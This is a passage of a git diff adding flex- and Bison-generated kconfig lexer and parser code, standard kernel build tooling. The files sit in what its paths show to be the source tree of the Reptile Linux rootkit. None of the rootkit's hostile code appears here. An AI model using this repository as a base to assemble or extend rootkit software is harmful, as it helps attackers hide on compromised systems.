zconf_delete_buffer(YY_CURRENT_BUFFER ); + YY_CURRENT_BUFFER_LVALUE = NULL; + if ((yy_buffer_stack_top) > 0) + --(yy_buffer_stack_top); + + if (YY_CURRENT_BUFFER) { + zconf_load_buffer_state( ); + (yy_did_buffer_switch_on_eof) = 1; + } +} + +/* Allocates the stack if it does not exist. + * Guarantees space for at least one push. + */ +static void zconfensure_buffer_stack (void) +{ + int num_to_alloc; + + if (!(yy_buffer_stack)) { + + /* First allocation is just for 2 elements, since we don't know if this + * scanner will even need a stack. We use 2 instead of 1 to avoid an + * immediate realloc on the next call. + */ + num_to_alloc = 1; + (yy_buffer_stack) = (struct yy_buffer_state**)zconfalloc + (num_to_alloc * sizeof(struct yy_buffer_state*) + ); + if ( ! (yy_buffer_stack) ) + YY_FATAL_ERROR( "out of dynamic memory in zconfensure_buffer_stack()" ); + + memset((yy_buffer_stack), 0, num_to_alloc * sizeof(struct yy_buffer_state*)); + + (yy_buffer_stack_max) = num_to_alloc; + (yy_buffer_stack_top) = 0; + return; + } + + if ((yy_buffer_stack_top) >= ((yy_buffer_stack_max)) - 1){ + + /* Increase the buffer to prepare for a possible push. */ + int grow_size = 8 /* arbitrary grow size */; + + num_to_alloc = (yy_buffer_stack_max) + grow_size; + (yy_buffer_stack) = (struct yy_buffer_state**)zconfrealloc + ((yy_buffer_stack), + num_to_alloc * sizeof(struct yy_buffer_state*) + ); + if ( ! (yy_buffer_stack) ) + YY_FATAL_ERROR( "out of dynamic memory in zconfensure_buffer_stack()" ); + + /* zero only the new slots.*/ + memset((yy_buffer_stack) + (yy_buffer_stack_max), 0, grow_size * sizeof(struct yy_buffer_state*)); + (yy_buffer_stack_max) = num_to_alloc; + } +} + +/** Setup the input buffer state to scan directly from a user-specified character buffer. + * @param base the character buffer + * @param size the size in bytes of the character buffer + * + * @return the newly allocated buffer state object. + */ +YY_BUFFER_STATE zconf_scan_buffer (char * base, yy_size_t size ) +{ + YY_BUFFER_STATE b; + + if ( size < 2 || + base[size-2] != YY_END_OF_BUFFER_CHAR || + base[size-1] != YY_END_OF_BUFFER_CHAR ) + /* They forgot to leave room for the EOB's. */ + return 0; + + b = (YY_BUFFER_STATE) zconfalloc(sizeof( struct yy_buffer_state ) ); + if ( ! b ) + YY_FATAL_ERROR( "out of dynamic memory in zconf_scan_buffer()" ); + + b->yy_buf_size = size - 2; /* "- 2" to take care of EOB's */ + b->yy_buf_pos = b->yy_ch_buf = base; + b->yy_is_our_buffer = 0; + b->yy_input_file = 0; + b->yy_n_chars = b->yy_buf_size; + b->yy_is_interactive = 0; + b->yy_at_bol = 1; + b->yy_fill_buffer = 0; + b->yy_buffer_status = YY_BUFFER_NEW; + + zconf_switch_to_buffer(b ); + + return b; +} + +/** Setup the input buffer state to scan a string. The next call to zconflex() will + * scan from a @e copy of @a str. + * @param yystr a NUL-terminated string to scan + * + * @return the newly allocated buffer state object. + * @note If you want to scan bytes that may contain NUL values, then use + * zconf_scan_bytes() instead. + */ +YY_BUFFER_STATE zconf_scan_string (yyconst char * yystr ) +{ + + return zconf_scan_bytes(yystr,strlen(yystr) ); +} + +/** Setup the input buffer state to scan the given bytes. The next call to zconflex() will + * scan from a @e copy of @a bytes. + * @param bytes the byte buffer to scan + * @param len the number of bytes in the buffer pointed to by @a bytes. + * + * @return the newly allocated buffer state object. + */ +YY_BUFFER_STATE zconf_scan_bytes (yyconst char * yybytes, int _yybytes_len ) +{ + YY_BUFFER_STATE b; + char *buf; + yy_size_t n; + int i; + + /* Get memory for full buffer, including space for trailing EOB's. */ + n = _yybytes_len + 2; + buf = (char *) zconfalloc(n ); + if ( ! buf ) + YY_FATAL_ERROR( "out of dynamic memory in zconf_scan_bytes()" ); + + for ( i = 0; i < _yybytes_len; ++i ) + buf[i] = yybytes[i]; + + buf[_yybytes_len] = buf[_yybytes_len+1] = YY_END_OF_BUFFER_CHAR; + + b = zconf_scan_buffer(buf,n ); + if ( ! b ) + YY_FATAL_ERROR( "bad buffer in zconf_scan_bytes()" ); + + /* It's okay to grow etc. this buffer, and we should throw it + * away when we're done. + */ + b->yy_is_our_buffer = 1; + + return b; +} + +#ifndef YY_EXIT_FAILURE +#define YY_EXIT_FAILURE 2 +#endif + +static void yy_fatal_error (yyconst char* msg ) +{ + (void) fprintf( stderr, "%s\n", msg ); + exit( YY_EXIT_FAILURE ); +} + +/* Redefine yyless() so it works in section 3 code. */ + +#undef yyless +#define yyless(n) \ + do \ + { \ + /* Undo effects of setting up zconftext. */ \ + int yyless_macro_arg = (n); \ + YY_LESS_LINENO(yyless_macro_arg);\ + zconftext[zconfleng] = (yy_hold_char); \ + (yy_c_buf_p) = zconftext + yyless_macro_arg; \ + (yy_hold_char) = *(yy_c_buf_p); \ + *(yy_c_buf_p) = '\0'; \ + zconfleng = yyless_macro_arg; \ + } \ + while ( 0 ) + +/* Accessor methods (get/set functions) to struct members. */ + +/** Get the current line number. + * + */ +int zconfget_lineno (void) +{ + + return zconflineno; +} + +/** Get the input stream. + * + */ +FILE *zconfget_in (void) +{ + return zconfin; +} + +/** Get the output stream. + * + */ +FILE *zconfget_out (void) +{ + return zconfout; +} + +/** Get the length of the current token. + * + */ +int zconfget_leng (void) +{ + return zconfleng; +} + +/** Get the current token. + * + */ + +char *zconfget_text (void) +{ + return zconftext; +} + +/** Set the current line number. + * @param line_number + * + */ +void zconfset_lineno (int line_number ) +{ + + zconflineno = line_number; +} + +/** Set the input stream. This does not discard the current + * input buffer. + * @param in_str A readable stream. + * + * @see zconf_switch_to_buffer + */ +void zconfset_in (FILE * in_str ) +{ + zconfin = in_str ; +} + +void zconfset_out (FILE * out_str ) +{ + zconfout = out_str ; +} + +int zconfget_debug (void) +{ + return zconf_flex_debug; +} + +void zconfset_debug (int bdebug ) +{ + zconf_flex_debug = bdebug ; +} + +static int yy_init_globals (void) +{ + /* Initialization is the same as for the non-reentrant scanner. + * This function is called from zconflex_destroy(), so don't allocate here. + */ + + (yy_buffer_stack) = 0; + (yy_buffer_stack_top) = 0; + (yy_buffer_stack_max) = 0; + (yy_c_buf_p) = (char *) 0; + (yy_init) = 0; + (yy_start) = 0; + +/* Defined in main.c */ +#ifdef YY_STDINIT + zconfin = stdin; + zconfout = stdout; +#else + zconfin = (FILE *) 0; + zconfout = (FILE *) 0; +#endif + + /* For future reference: Set errno on error, since we are called by + * zconflex_init() + */ + return 0; +} + +/* zconflex_destroy is for both reentrant and non-reentrant scanners. */ +int zconflex_destroy (void) +{ + + /* Pop the buffer stack, destroying each element. */ + while(YY_CURRENT_BUFFER){ + zconf_delete_buffer(YY_CURRENT_BUFFER ); + YY_CURRENT_BUFFER_LVALUE = NULL; + zconfpop_buffer_state(); + } + + /* Destroy the stack itself. */ + zconffree((yy_buffer_stack) ); + (yy_buffer_stack) = NULL; + + /* Reset the globals. This is important in a non-reentrant scanner so the next time + * zconflex() is called, initialization will occur. */ + yy_init_globals( ); + + return 0; +} + +/* + * Internal utility routines. + */ + +#ifndef yytext_ptr +static void yy_flex_strncpy (char* s1, yyconst char * s2, int n ) +{ + register int i; + for ( i = 0; i < n; ++i ) + s1[i] = s2[i]; +} +#endif + +#ifdef YY_NEED_STRLEN +static int yy_flex_strlen (yyconst char * s ) +{ + register int n; + for ( n = 0; s[n]; ++n ) + ; + + return n; +} +#endif + +void *zconfalloc (yy_size_t size ) +{ + return (void *) malloc( size ); +} + +void *zconfrealloc (void * ptr, yy_size_t size ) +{ + /* The cast to (char *) in the following accommodates both + * implementations that use char* generic pointers, and those + * that use void* generic pointers. It works with the latter + * because both ANSI C and C++ allow castless assignment from + * any pointer type to void*, and deal with argument conversions + * as though doing an assignment. + */ + return (void *) realloc( (char *) ptr, size ); +} + +void zconffree (void * ptr ) +{ + free( (char *) ptr ); /* see zconfrealloc() for (char *) cast */ +} + +#define YYTABLES_NAME "yytables" + +void zconf_starthelp(void) +{ + new_string(); + last_ts = first_ts = 0; + BEGIN(HELP); +} + +static void zconf_endhelp(void) +{ + zconflval.string = text; + BEGIN(INITIAL); +} + +/* + * Try to open specified file with following names: + * ./name + * $(srctree)/name + * The latter is used when srctree is separate from objtree + * when compiling the kernel. + * Return NULL if file is not found. + */ +FILE *zconf_fopen(const char *name) +{ + char *env, fullname[PATH_MAX+1]; + FILE *f; + + f = fopen(name, "r"); + if (!f && name != NULL && name[0] != '/') { + env = getenv(SRCTREE); + if (env) { + sprintf(fullname, "%s/%s", env, name); + f = fopen(fullname, "r"); + } + } + return f; +} + +void zconf_initscan(const char *name) +{ + zconfin = zconf_fopen(name); + if (!zconfin) { + printf("can't find file %s\n", name); + exit(1); + } + + current_buf = xmalloc(sizeof(*current_buf)); + memset(current_buf, 0, sizeof(*current_buf)); + + current_file = file_lookup(name); + current_file->lineno = 1; +} + +void zconf_nextfile(const char *name) +{ + struct file *iter; + struct file *file = file_lookup(name); + struct buffer *buf = xmalloc(sizeof(*buf)); + memset(buf, 0, sizeof(*buf)); + + current_buf->state = YY_CURRENT_BUFFER; + zconfin = zconf_fopen(file->name); + if (!zconfin) { + printf("%s:%d: can't open file \"%s\"\n", + zconf_curname(), zconf_lineno(), file->name); + exit(1); + } + zconf_switch_to_buffer(zconf_create_buffer(zconfin,YY_BUF_SIZE)); + buf->parent = current_buf; + current_buf = buf; + + for (iter = current_file->parent; iter; iter = iter->parent ) { + if (!strcmp(current_file->name,iter->name) ) { + printf("%s:%d: recursive inclusion detected. " + "Inclusion path:\n current file : '%s'\n", + zconf_curname(), zconf_lineno(), + zconf_curname()); + iter = current_file->parent; + while (iter && \ + strcmp(iter->name,current_file->name)) { + printf(" included from: '%s:%d'\n", + iter->name, iter->lineno-1); + iter = iter->parent; + } + if (iter) + printf(" included from: '%s:%d'\n", + iter->name, iter->lineno+1); + exit(1); + } + } + file->lineno = 1; + file->parent = current_file; + current_file = file; +} + +static void zconf_endfile(void) +{ + struct buffer *parent; + + current_file = current_file->parent; + + parent = current_buf->parent; + if (parent) { + fclose(zconfin); + zconf_delete_buffer(YY_CURRENT_BUFFER); + zconf_switch_to_buffer(parent->state); + } + free(current_buf); + current_buf = parent; +} + +int zconf_lineno(void) +{ + return current_pos.lineno; +} + +const char *zconf_curname(void) +{ + return current_pos.file ? current_pos.file->name : ""; +} + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.tab.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.tab.c_shipped new file mode 100644 index 0000000..81d1319 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.tab.c_shipped @@ -0,0 +1,2538 @@ +/* A Bison parser, made by GNU Bison 2.5. */ + +/* Bison implementation for Yacc-like parsers in C + + Copyright (C) 1984, 1989-1990, 2000-2011 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +/* As a special exception, you may create a larger work that contains + part or all of the Bison parser skeleton and distribute that work + under terms of your choice, so long as that work isn't itself a + parser generator using the skeleton or a modified version thereof + as a parser skeleton. Alternatively, if you modify or redistribute + the parser skeleton itself, you may (at your option) remove this + special exception, which will cause the skeleton and the resulting + Bison output files to be licensed under the GNU General Public + License without this special exception. + + This special exception was added by the Free Software Foundation in + version 2.2 of Bison. */ + +/* C LALR(1) parser skeleton written by Richard Stallman, by + simplifying the original so-called "semantic" parser. */ + +/* All symbols defined below should begin with yy or YY, to avoid + infringing on user name space. This should be done even for local + variables, as they might otherwise be expanded by user macros. + There are some unavoidable exceptions within include files to + define necessary library symbols; they are noted "INFRINGES ON + USER NAME SPACE" below. */ + +/* Identify Bison output. */ +#define YYBISON 1 + +/* Bison version. */ +#define YYBISON_VERSION "2.5" + +/* Skeleton name. */ +#define YYSKELETON_NAME "yacc.c" + +/* Pure parsers. */ +#define YYPURE 0 + +/* Push parsers. */ +#define YYPUSH 0 + +/* Pull parsers. */ +#define YYPULL 1 + +/* Using locations. */ +#define YYLSP_NEEDED 0 + +/* Substitute the variable and function names. */ +#define yyparse zconfparse +#define yylex zconflex +#define yyerror zconferror +#define yylval zconflval +#define yychar zconfchar +#define yydebug zconfdebug +#define yynerrs zconfnerrs + + +/* Copy the first part of user declarations. */ + + +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + + + + +/* Enabling traces. */ +#ifndef YYDEBUG +# define YYDEBUG 1 +#endif + +/* Enabling verbose error messages. */ +#ifdef YYERROR_VERBOSE +# undef YYERROR_VERBOSE +# define YYERROR_VERBOSE 1 +#else +# define YYERROR_VERBOSE 0 +#endif + +/* Enabling the token table. */ +#ifndef YYTOKEN_TABLE +# define YYTOKEN_TABLE 0 +#endif + + +/* Tokens. */ +#ifndef YYTOKENTYPE +# define YYTOKENTYPE + /* Put the tokens into the symbol table, so that GDB and other debuggers + know about them. */ + enum yytokentype { + T_MAINMENU = 258, + T_MENU = 259, + T_ENDMENU = 260, + T_SOURCE = 261, + T_CHOICE = 262, + T_ENDCHOICE = 263, + T_COMMENT = 264, + T_CONFIG = 265, + T_MENUCONFIG = 266, + T_HELP = 267, + T_HELPTEXT = 268, + T_IF = 269, + T_ENDIF = 270, + T_DEPENDS = 271, + T_OPTIONAL = 272, + T_PROMPT = 273, + T_TYPE = 274, + T_DEFAULT = 275, + T_SELECT = 276, + T_RANGE = 277, + T_VISIBLE = 278, + T_OPTION = 279, + T_ON = 280, + T_WORD = 281, + T_WORD_QUOTE = 282, + T_UNEQUAL = 283, + T_CLOSE_PAREN = 284, + T_OPEN_PAREN = 285, + T_EOL = 286, + T_OR = 287, + T_AND = 288, + T_EQUAL = 289, + T_NOT = 290 + }; +#endif + + + +#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED +typedef union YYSTYPE +{ + + + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; + + + +} YYSTYPE; +# define YYSTYPE_IS_TRIVIAL 1 +# define yystype YYSTYPE /* obsolescent; will be withdrawn */ +# define YYSTYPE_IS_DECLARED 1 +#endif + + +/* Copy the second part of user declarations. */ + + +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" + + + +#ifdef short +# undef short +#endif + +#ifdef YYTYPE_UINT8 +typedef YYTYPE_UINT8 yytype_uint8; +#else +typedef unsigned char yytype_uint8; +#endif + +#ifdef YYTYPE_INT8 +typedef YYTYPE_INT8 yytype_int8; +#elif (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +typedef signed char yytype_int8; +#else +typedef short int yytype_int8; +#endif + +#ifdef YYTYPE_UINT16 +typedef YYTYPE_UINT16 yytype_uint16; +#else +typedef unsigned short int yytype_uint16; +#endif + +#ifdef YYTYPE_INT16 +typedef YYTYPE_INT16 yytype_int16; +#else +typedef short int yytype_int16; +#endif + +#ifndef YYSIZE_T +# ifdef __SIZE_TYPE__ +# define YYSIZE_T __SIZE_TYPE__ +# elif defined size_t +# define YYSIZE_T size_t +# elif ! defined YYSIZE_T && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# define YYSIZE_T size_t +# else +# define YYSIZE_T unsigned int +# endif +#endif + +#define YYSIZE_MAXIMUM ((YYSIZE_T) -1) + +#ifndef YY_ +# if defined YYENABLE_NLS && YYENABLE_NLS +# if ENABLE_NLS +# include /* INFRINGES ON USER NAME SPACE */ +# define YY_(msgid) dgettext ("bison-runtime", msgid) +# endif +# endif +# ifndef YY_ +# define YY_(msgid) msgid +# endif +#endif + +/* Suppress unused-variable warnings by "using" E. */ +#if ! defined lint || defined __GNUC__ +# define YYUSE(e) ((void) (e)) +#else +# define YYUSE(e) /* empty */ +#endif + +/* Identity function, used to suppress warnings about constant conditions. */ +#ifndef lint +# define YYID(n) (n) +#else +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static int +YYID (int yyi) +#else +static int +YYID (yyi) + int yyi; +#endif +{ + return yyi; +} +#endif + +#if ! defined yyoverflow || YYERROR_VERBOSE + +/* The parser invokes alloca or malloc; define the necessary symbols. */ + +# ifdef YYSTACK_USE_ALLOCA +# if YYSTACK_USE_ALLOCA +# ifdef __GNUC__ +# define YYSTACK_ALLOC __builtin_alloca +# elif defined __BUILTIN_VA_ARG_INCR +# include /* INFRINGES ON USER NAME SPACE */ +# elif defined _AIX +# define YYSTACK_ALLOC __alloca +# elif defined _MSC_VER +# include /* INFRINGES ON USER NAME SPACE */ +# define alloca _alloca +# else +# define YYSTACK_ALLOC alloca +# if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# endif +# endif +# endif + +# ifdef YYSTACK_ALLOC + /* Pacify GCC's `empty if-body' warning. */ +# define YYSTACK_FREE(Ptr) do { /* empty */; } while (YYID (0)) +# ifndef YYSTACK_ALLOC_MAXIMUM + /* The OS might guarantee only one guard page at the bottom of the stack, + and a page size can be as small as 4096 bytes. So we cannot safely + invoke alloca (N) if N exceeds 4096. Use a slightly smaller number + to allow for a few compiler-allocated temporary stack slots. */ +# define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */ +# endif +# else +# define YYSTACK_ALLOC YYMALLOC +# define YYSTACK_FREE YYFREE +# ifndef YYSTACK_ALLOC_MAXIMUM +# define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM +# endif +# if (defined __cplusplus && ! defined EXIT_SUCCESS \ + && ! ((defined YYMALLOC || defined malloc) \ + && (defined YYFREE || defined free))) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# ifndef YYMALLOC +# define YYMALLOC malloc +# if ! defined malloc && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# ifndef YYFREE +# define YYFREE free +# if ! defined free && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void free (void *); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# endif +#endif /* ! defined yyoverflow || YYERROR_VERBOSE */ + + +#if (! defined yyoverflow \ + && (! defined __cplusplus \ + || (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) + +/* A type that is properly aligned for any stack member. */ +union yyalloc +{ + yytype_int16 yyss_alloc; + YYSTYPE yyvs_alloc; +}; + +/* The size of the maximum gap between one aligned stack and the next. */ +# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1) + +/* The size of an array large to enough to hold all stacks, each with + N elements. */ +# define YYSTACK_BYTES(N) \ + ((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \ + + YYSTACK_GAP_MAXIMUM) + +# define YYCOPY_NEEDED 1 + +/* Relocate STACK from its old location to the new one. The + local variables YYSIZE and YYSTACKSIZE give the old and new number of + elements in the stack, and YYPTR gives the new location of the + stack. Advance YYPTR to a properly aligned location for the next + stack. */ +# define YYSTACK_RELOCATE(Stack_alloc, Stack) \ + do \ + { \ + YYSIZE_T yynewbytes; \ + YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \ + Stack = &yyptr->Stack_alloc; \ + yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \ + yyptr += yynewbytes / sizeof (*yyptr); \ + } \ + while (YYID (0)) + +#endif + +#if defined YYCOPY_NEEDED && YYCOPY_NEEDED +/* Copy COUNT objects from FROM to TO. The source and destination do + not overlap. */ +# ifndef YYCOPY +# if defined __GNUC__ && 1 < __GNUC__ +# define YYCOPY(To, From, Count) \ + __builtin_memcpy (To, From, (Count) * sizeof (*(From))) +# else +# define YYCOPY(To, From, Count) \ + do \ + { \ + YYSIZE_T yyi; \ + for (yyi = 0; yyi < (Count); yyi++) \ + (To)[yyi] = (From)[yyi]; \ + } \ + while (YYID (0)) +# endif +# endif +#endif /* !YYCOPY_NEEDED */ + +/* YYFINAL -- State number of the termination state. */ +#define YYFINAL 11 +/* YYLAST -- Last index in YYTABLE. */ +#define YYLAST 290 + +/* YYNTOKENS -- Number of terminals. */ +#define YYNTOKENS 36 +/* YYNNTS -- Number of nonterminals. */ +#define YYNNTS 50 +/* YYNRULES -- Number of rules. */ +#define YYNRULES 118 +/* YYNRULES -- Number of states. */ +#define YYNSTATES 191 + +/* YYTRANSLATE(YYLEX) -- Bison symbol number corresponding to YYLEX. */ +#define YYUNDEFTOK 2 +#define YYMAXUTOK 290 + +#define YYTRANSLATE(YYX) \ + ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) + +/* YYTRANSLATE[YYLEX] -- Bison symbol number corresponding to YYLEX. */ +static const yytype_uint8 yytranslate[] = +{ + 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 1, 2, 3, 4, + 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, + 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, + 35 +}; + +#if YYDEBUG +/* YYPRHS[YYN] -- Index of the first RHS symbol of rule number YYN in + YYRHS. */ +static const yytype_uint16 yyprhs[] = +{ + 0, 0, 3, 6, 8, 11, 13, 14, 17, 20, + 23, 26, 31, 36, 40, 42, 44, 46, 48, 50, + 52, 54, 56, 58, 60, 62, 64, 66, 68, 72, + 75, 79, 82, 86, 89, 90, 93, 96, 99, 102, + 105, 108, 112, 117, 122, 127, 133, 137, 138, 142, + 143, 146, 150, 153, 155, 159, 160, 163, 166, 169, + 172, 175, 180, 184, 187, 192, 193, 196, 200, 202, + 206, 207, 210, 213, 216, 220, 224, 228, 230, 234, + 235, 238, 241, 244, 248, 252, 255, 258, 261, 262, + 265, 268, 271, 276, 277, 280, 283, 286, 287, 290, + 292, 294, 297, 300, 303, 305, 308, 309, 312, 314, + 318, 322, 326, 329, 333, 337, 339, 341, 342 +}; + +/* YYRHS -- A `-1'-separated list of the rules' RHS. */ +static const yytype_int8 yyrhs[] = +{ + 37, 0, -1, 81, 38, -1, 38, -1, 63, 39, + -1, 39, -1, -1, 39, 41, -1, 39, 55, -1, + 39, 67, -1, 39, 80, -1, 39, 26, 1, 31, + -1, 39, 40, 1, 31, -1, 39, 1, 31, -1, + 16, -1, 18, -1, 19, -1, 21, -1, 17, -1, + 22, -1, 20, -1, 23, -1, 31, -1, 61, -1, + 71, -1, 44, -1, 46, -1, 69, -1, 26, 1, + 31, -1, 1, 31, -1, 10, 26, 31, -1, 43, + 47, -1, 11, 26, 31, -1, 45, 47, -1, -1, + 47, 48, -1, 47, 49, -1, 47, 75, -1, 47, + 73, -1, 47, 42, -1, 47, 31, -1, 19, 78, + 31, -1, 18, 79, 82, 31, -1, 20, 83, 82, + 31, -1, 21, 26, 82, 31, -1, 22, 84, 84, + 82, 31, -1, 24, 50, 31, -1, -1, 50, 26, + 51, -1, -1, 34, 79, -1, 7, 85, 31, -1, + 52, 56, -1, 80, -1, 53, 58, 54, -1, -1, + 56, 57, -1, 56, 75, -1, 56, 73, -1, 56, + 31, -1, 56, 42, -1, 18, 79, 82, 31, -1, + 19, 78, 31, -1, 17, 31, -1, 20, 26, 82, + 31, -1, -1, 58, 41, -1, 14, 83, 81, -1, + 80, -1, 59, 62, 60, -1, -1, 62, 41, -1, + 62, 67, -1, 62, 55, -1, 3, 79, 81, -1, + 4, 79, 31, -1, 64, 76, 74, -1, 80, -1, + 65, 68, 66, -1, -1, 68, 41, -1, 68, 67, + -1, 68, 55, -1, 6, 79, 31, -1, 9, 79, + 31, -1, 70, 74, -1, 12, 31, -1, 72, 13, + -1, -1, 74, 75, -1, 74, 31, -1, 74, 42, + -1, 16, 25, 83, 31, -1, -1, 76, 77, -1, + 76, 31, -1, 23, 82, -1, -1, 79, 82, -1, + 26, -1, 27, -1, 5, 31, -1, 8, 31, -1, + 15, 31, -1, 31, -1, 81, 31, -1, -1, 14, + 83, -1, 84, -1, 84, 34, 84, -1, 84, 28, + 84, -1, 30, 83, 29, -1, 35, 83, -1, 83, + 32, 83, -1, 83, 33, 83, -1, 26, -1, 27, + -1, -1, 26, -1 +}; + +/* YYRLINE[YYN] -- source line where rule number YYN was defined. */ +static const yytype_uint16 yyrline[] = +{ + 0, 103, 103, 103, 105, 105, 107, 109, 110, 111, + 112, 113, 114, 118, 122, 122, 122, 122, 122, 122, + 122, 122, 126, 127, 128, 129, 130, 131, 135, 136, + 142, 150, 156, 164, 174, 176, 177, 178, 179, 180, + 181, 184, 192, 198, 208, 214, 220, 223, 225, 236, + 237, 242, 251, 256, 264, 267, 269, 270, 271, 272, + 273, 276, 282, 293, 299, 309, 311, 316, 324, 332, + 335, 337, 338, 339, 344, 351, 358, 363, 371, 374, + 376, 377, 378, 381, 389, 396, 403, 409, 416, 418, + 419, 420, 423, 431, 433, 434, 437, 444, 446, 451, + 452, 455, 456, 457, 461, 462, 465, 466, 469, 470, + 471, 472, 473, 474, 475, 478, 479, 482, 483 +}; +#endif + +#if YYDEBUG || YYERROR_VERBOSE || YYTOKEN_TABLE +/* YYTNAME[SYMBOL-NUM] -- String name of the symbol SYMBOL-NUM. + First, the terminals, then, starting at YYNTOKENS, nonterminals. */ +static const char *const yytname[] = +{ + "$end", "error", "$undefined", "T_MAINMENU", "T_MENU", "T_ENDMENU", + "T_SOURCE", "T_CHOICE", "T_ENDCHOICE", "T_COMMENT", "T_CONFIG", + "T_MENUCONFIG", "T_HELP", "T_HELPTEXT", "T_IF", "T_ENDIF", "T_DEPENDS", + "T_OPTIONAL", "T_PROMPT", "T_TYPE", "T_DEFAULT", "T_SELECT", "T_RANGE", + "T_VISIBLE", "T_OPTION", "T_ON", "T_WORD", "T_WORD_QUOTE", "T_UNEQUAL", + "T_CLOSE_PAREN", "T_OPEN_PAREN", "T_EOL", "T_OR", "T_AND", "T_EQUAL", + "T_NOT", "$accept", "input", "start", "stmt_list", "option_name", + "common_stmt", "option_error", "config_entry_start", "config_stmt", + "menuconfig_entry_start", "menuconfig_stmt", "config_option_list", + "config_option", "symbol_option", "symbol_option_list", + "symbol_option_arg", "choice", "choice_entry", "choice_end", + "choice_stmt", "choice_option_list", "choice_option", "choice_block", + "if_entry", "if_end", "if_stmt", "if_block", "mainmenu_stmt", "menu", + "menu_entry", "menu_end", "menu_stmt", "menu_block", "source_stmt", + "comment", "comment_stmt", "help_start", "help", "depends_list", + "depends", "visibility_list", "visible", "prompt_stmt_opt", "prompt", + "end", "nl", "if_expr", "expr", "symbol", "word_opt", 0 +}; +#endif + +# ifdef YYPRINT +/* YYTOKNUM[YYLEX-NUM] -- Internal token number corresponding to + token YYLEX-NUM. */ +static const yytype_uint16 yytoknum[] = +{ + 0, 256, 257, 258, 259, 260, 261, 262, 263, 264, + 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, + 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, + 285, 286, 287, 288, 289, 290 +}; +# endif + +/* YYR1[YYN] -- Symbol number of symbol that rule YYN derives. */ +static const yytype_uint8 yyr1[] 